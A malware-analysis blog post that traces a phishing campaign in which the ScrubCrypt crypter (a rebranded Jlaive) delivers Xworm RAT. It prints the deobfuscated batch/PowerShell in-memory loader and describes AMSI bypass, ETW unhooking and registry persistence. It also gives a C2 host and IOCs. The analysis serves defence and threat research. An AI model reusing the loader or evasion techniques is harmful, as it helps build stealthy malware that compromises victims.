1/16 ScrubCrypt - The Rebirth of Jlaive 0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive In this blog we are going through a recent phishing campaign that leverages a new crypter sold in underground forums. Overview In the past weeks a new thread was posted in the "Cryptography and Encryption Market" section in hackforums.net promoting a new crypter called "ScrubCrypt" ScrubCrypt Selling Thread https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive https://hackforums.net/showthread.php?tid=6228762 2/16 This crypter was found used in a recent phishing campaign which eventually delivered Xworm RAT. We will be going through all the analysis steps from the phishing mail the victim receives to analyzing and deobfuscating the crypter(and its origin) and identifying the final Xworm binary. The Phish The user received a mail with the subject: "LEP/RFQ/AV/04/2022/6030", the mail itself contains a generic body content, letting the user know that he has an attachment that needs to be open. Phishing Mail The mail has attached archive file (LEPRFQAV04,pdf.001), inside of it we can find a .bat file (batch script) that supposed to be executed by the user and lead to a multistage execution chain. Archive Content LEPRFQAV04,pdf.bat Static Information Sha256: 04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578 VT Detection: 24/61 (Link) VT Incrimination https://www.virustotal.com/gui/file/04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578 3/16 The script is completely obfuscated: Obfuscated Batch Script By first glance we can notice 2 main things: 1. 1. The script has junk code which utilize the % symbol in batch scripting. 2. 2. The end of the script contains a huge encrypted blob of data as a comment (::) Blob Of Data Batch Deobfuscation I start off with removing all the junk code the script contains by using the next script: import re ​ NON_WORD_PATTERN = '%\W%' file_path = '/Users/igal/malwares/Scrub Crypt/3 - LEPRFQAV04,pdf.bat' fo = open(file_path,'r').read() clean_script = re.sub(NON_WORD_PATTERN,'',fo) print(clean_script) Output: @echo off powershell -w hidden -c # set CUnTR=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe copy %CUnTR% "%~0.exe" /y && cls 4/16 "%~0.exe" function yA($t){$t.Replace('@', '')}$iwqO=yA 'Get@C@urr@ent@P@roce@ss@';$knsa=yA 'Rea@dAl@lT@e@xt@';$GEoF=yA 'En@t@ry@Poin@t@';$sdql=yA 'Ch@ange@E@xte@nsi@on@';$qzpw=yA 'From@Bas@e64S@tri@ng@';$cJIQ=yA 'Lo@@';$uGgV=yA 'Tr@a@n@sfor@m@F@in@al@B@lo@ck@';$QlQQ=yA 'Sp@l@it@';$neAB=yA 'In@vo@ke@';$QjQB=yA 'Cre@at@eD@ec@ry@pto@r@';function RpFzY($jAaJE,$RZzRM,$cnkfF){$DLZbE= [System.Security.Cryptography.Aes]::Create();$DLZbE.Mode=[System.Security.Cryptography.CipherMode]::CBC;$DLZbE.Padding= [System.Security.Cryptography.PaddingMode]::PKCS7;$DLZbE.Key=[System.Convert]::$qzpw($RZzRM);$DLZbE.IV= [System.Convert]::$qzpw($cnkfF);$YQiIq=$DLZbE.$QjQB();$mYMLI=$YQiIq.$uGgV($jAaJE,0,$jAaJE.Length);$YQiIq.Dispose();$DLZbE.Dispose AYCAO($jAaJE){$uSXLQ=New-Object System.IO.MemoryStream(,$jAaJE);$RWxVj=New-Object System.IO.MemoryStream;$YYDyP=New- Object System.IO.Compression.GZipStream($uSXLQ, [IO.Compression.CompressionMode]::Decompress);$YYDyP.CopyTo($RWxVj);$YYDyP.Dispose();$uSXLQ.Dispose();$RWxVj.Dispose();$RWxVj.T BxKKh($jAaJE,$RZzRM){[System.Reflection.Assembly]::$cJIQ([byte[]]$jAaJE).$GEoF.$neAB($null,$RZzRM);}$WlqMk= [System.IO.File]::$knsa([System.IO.Path]::$sdql([System.Diagnostics.Process]::$iwqO().MainModule.FileName, $null)).$QlQQ([Environment]::NewLine);$nwgCf=$WlqMk[$WlqMk.Length-1].Substring(2);$voaim= [string[]]$nwgCf.$QlQQ('\');$SPONW=AYCAO (RpFzY ([Convert]::$qzpw($voaim[0])) $voaim[2] $voaim[3]);$mOxVC=AYCAO (RpFzY ([Convert]::$qzpw($voaim[1])) $voaim[2] $voaim[3]);BxKKh $mOxVC $null;BxKKh $SPONW $null; ::K8fQqk7xvojjb2P9cYvAvVZq2lXoHsKBw6gFb0XhzLyV5n92FTvZL6MK9KFRY8weBiypW/knQPmWgUurEdWUIrgCmzr2gamQnLsxndquXEgi5GK Great, now the script is less obfuscated and we can see that there is a powershell script embedded. I've cleaned the script and changed some of the variable names: What the script does? The script takes the blob data I've mentioned that comes right after the :: comment in the batch script. It will split it by backslash and save the splitted data in a variable ($blob_data_chunk) Split Data Function The variable will be now an array with 4 elements: Encrypted data 1 Encrypted data 2 Base64 encoded AES256 encryption key Base64 encoded AES256 encryption IV The script will pass each encrypted data with the encoded key and IV to decryption function (f_aes_decrypt), the return value from the function will be gz archive which will then be passed to a decompress function (f_decompress_data) which will return binary in a form of byte array. 5/16 Decryption Function And the last thing the script will do is to invoke and execute these binaries. The next script can be used to retrieve the archives: from Crypto.Cipher import AES from base64 import b64decode ​ def aes_decrypt(data, key, iv): decrypt_cipher = AES.new(key, AES.MODE_CBC, iv) return decrypt_cipher.decrypt(data) ​ data_blob = clean_script.split('::')[-1].split('\\') enc_blob_1 = b64decode(data_blob[0]) enc_blob_2 = b64decode(data_blob[1]) key = b64decode(data_blob[2]) iv = b64decode(data_blob[3]) archive_1 = aes_decrypt(enc_blob_1, key, iv) archive_2 = aes_decrypt(enc_blob_2, key, iv) ​ file_path = '/Users/igal/malwares/Scrub Crypt/archive' fo = open('{0}{1}.gz'.format(file_path,1),'wb').write(archive_1) fo = open('{0}{1}.gz'.format(file_path,2),'wb').write(archive_2) ​ Now we can go through the binaries and analyze each one of them; based on the script execution flow, the first binary that will be executed is the one stored in archive2. XsXllt.tmp 6/16 Static Information Sha256: 05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1 VT Detection: 18/71 (Link)​ VT Incrimination The binary is .NET based as we can inspect using DiE DiE Analysis I've opened the binary in DnSpy and found out it's obfuscated: Obfuscated Binary In DnSpy Breaking the deobfuscation I will be going through now a way I've managed to deobfuscate the code and make it text clear. First of all, we open up SAE(SimpleAssemblyExplorer) and navigate to the location where the binary is located, right click on the binary and select "Deobfuscator": Deobfuscator Option In SAE Then we simply click OK and waiting for SAE to deobfuscate for us the code: https://www.virustotal.com/gui/file/05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1?nocache=1 7/16 SAE Deobfuscation Process Now we can open up the binary and find out that it's a bit more clearer then previously: Semi Cleaned Binary But this is not enough, we can see that there is a repetitive method being used by the program c000001.m000001 , we can use De4Dot and deobfuscate the code even more, one thing that we need for it is the method token (which can be retrieved by clicking the method and looking on the comment above it): Method Token Now that we have the token we can use the next command to deobfuscate the code: de4dot.exe --strtyp delegate --strtok 06000001 After the deobfuscation process was succeeded, a "clean" binary will be created in the binary folder, we can open it in DnSpy and see how the magic happens and work with a clear text binary: 8/16 Fully Cleaned Binary Evasion Techniques This binary does 2 main operations: 1 - AMSI Bypass - The dev isn't trying to be too much creative and copycats rasta-mouse AmsiBypass C# code which can be found on his github repo AMSI Bypass 2- ETW Unhooking - The dev adding a layer of protection by unhooking EtwEventWrite (Event Tracing for Windows) which will disable the logging for Assembly.Load calls, this topic is explained in depth by XPN. XPN shares a POC code for the unhooking on his github repo​ https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs https://blog.xpnsec.com/hiding-your-dotnet-etw/ https://gist.github.com/xpn/6456bd5d3e46bea6a0ac4ecbae98278f 9/16 ETW Unhooking After the execution of this binary, the second binary will be executed which is stored in Archive1 (the execution of this binary won't be logged in the event tracer as the unhook in the previous binary occured). JuCdip.tmp Static Information Sha256: ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a VT Detection: 23/70 (Link)​ VT Incrimination The binary is .NET based as we can inspect using DiE DiE Analysis I've opened up the binary in DnSpy and found out it's obfuscated (for the sake of not making this blog too much long, i will skip the deobfuscation process of this binary as it's the same we did with the previous one) The clear code: https://www.virustotal.com/gui/file/ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a?nocache=1 10/16 Post Deobfuscation Binary Persistence & Execution Now that we have the clean code, we can go through what the binary actually does, firstly thing that I've noticed (that eventually led me to finding the ScrubCrypt origin) is the name of the binary SCRUBCRYPT ScrubCrypt Binary Name After that I've started to searching for it's origin but this will be explained later. The binary does two main things: 11/16 Persistence: Once the program executed it will create a powershell task to delete the binary file from the victim's computer once the execution of the program is done. Then the program creates a Mutex (iJOMzLdJpA, if the mutex already taken it will terminate itself) The program will then lookup in the registry and in the startup folder whether or not a persistence for the binary was already made. If the program couldn't find any persistence related to the binary it will create its own persistence by creating two files in the appdata folder one file is a .bat file with the content of the initial batch file and second file which is a .vbs file that will execute the .bat file; a registry key will be created under HKCU\Software\Microsoft\Windows\CurrentVersion\Run which will execute the .vbs file once the system is rebooted, the mutex then will be released and the program will execute itself again. PowerShell Task Mutex Creation Checks For Previous Execution Persistence Creation 12/16 Execution: After the program was restarted and confirmed its own persistence it will execute the final payload which is stored encrypted in the binary resources. The encrypted data is simply Xor'ed with a 32 byte long key (in this case: aZAZGrVOlgDxdyHvNzxAcXRlcnuJCRId); After the xor operation the program will decompress the payload out of the xor'ed archive. Then the program will load the final payload and invoke its EntryPoint. Resource Fetching Function Xor Operation & Decomperssion EntryPoint Invocation I've created a small script that will extract the resource from the binary, xor it and will save the final payload archive: import dnfile from binascii import hexlify ​ FILEPATH = '/Users/igal/malwares/Scrub Crypt/4 - scrubcrypt binary.bin' XOR_KEY = 'aZAZGrVOlgDxdyHvNzxAcXRlcnuJCRId' ​ def xor_helper(to_xor, key): key_len = len(key) decoded = [] for i in range(0,len(to_xor)): decoded.append(to_xor[i] ^ key[i % key_len]) 13/16 return bytes(decoded) ​ pe = dnfile.dnPE(FILEPATH) ​ for rsrc in pe.net.resources: rsrc_data = xor_helper(rsrc.data, XOR_KEY.encode()) file_path = '/Users/igal/malwares/Scrub Crypt/final_payload' fo = open('{0}.gz'.format(file_path),'wb').write(rsrc_data) The Final Payload The purpose of the blog is mainly to cover the crypter but because the final payload being delivered by the crypter is pretty unknown we will cover it in few sentences. Static Information Sha256: 814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6 VT Detection: 41/71 (Link)​ ​ VT Incrimination Opening the binary in DnSpy we can see that the binary name is XWormClient XwormClient By quick analyzing it, the malware is Xworm RAT which being sold on underground forums for a price tag of 100$ https://www.virustotal.com/gui/file/814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6?nocache=1 14/16 Xworm Selling Site The malware is created by the EvilCoder Project and their post thread can be found in Cracked.io forum: 15/16 Xworm Selling Thread ScrubCrypt Origin Now that we've covered the campaign, we can talk about the origin of the crypter. The crypter is being sold on Hackforums (as mentioned on the beginning of the blog) for about 40$ (for 1 month sub) When I was investigating ScrubCrypt I was suspecting that the crypter is a simple copycat of a well known Batchfuscator crypter Jlaive (Github). After reading some customers comments on the Hackforums post I've stumbled upon this comment: Customer Comment Which followed up with answer from Chash (Jlaive crypter developer): Jlaive Developer Response Conclusion In this blogpost we went over the execution pattern of the recent rebranded Jlaive crypter, which eventually executes a RAT type malware from the Xworm family. ScrubCrypt was created for marketing reasons and keeping the name of the "Jlaive" crypter alive. IOC's Samples: LEPRFQAV04,pdf.001 - 28d6b3140a1935cd939e8a07266c43c0482e1fea80c65b7a49cf54356dcb58bc​ LEPRFQAV04,pdf.bat - 04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578​ amsi & etw.bin - 05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1​ scrubcrypt binary.bin - ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a​ xworm.bin - 814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6​ C2: hurricane.ydns.eu:2311 https://github.com/ch9sh/Jlaive-Crypter https://bazaar.abuse.ch/sample/28d6b3140a1935cd939e8a07266c43c0482e1fea80c65b7a49cf54356dcb58bc/ https://bazaar.abuse.ch/sample/04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578 https://bazaar.abuse.ch/sample/05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1/ https://bazaar.abuse.ch/sample/ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a/ https://bazaar.abuse.ch/sample/814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6/ 16/16 References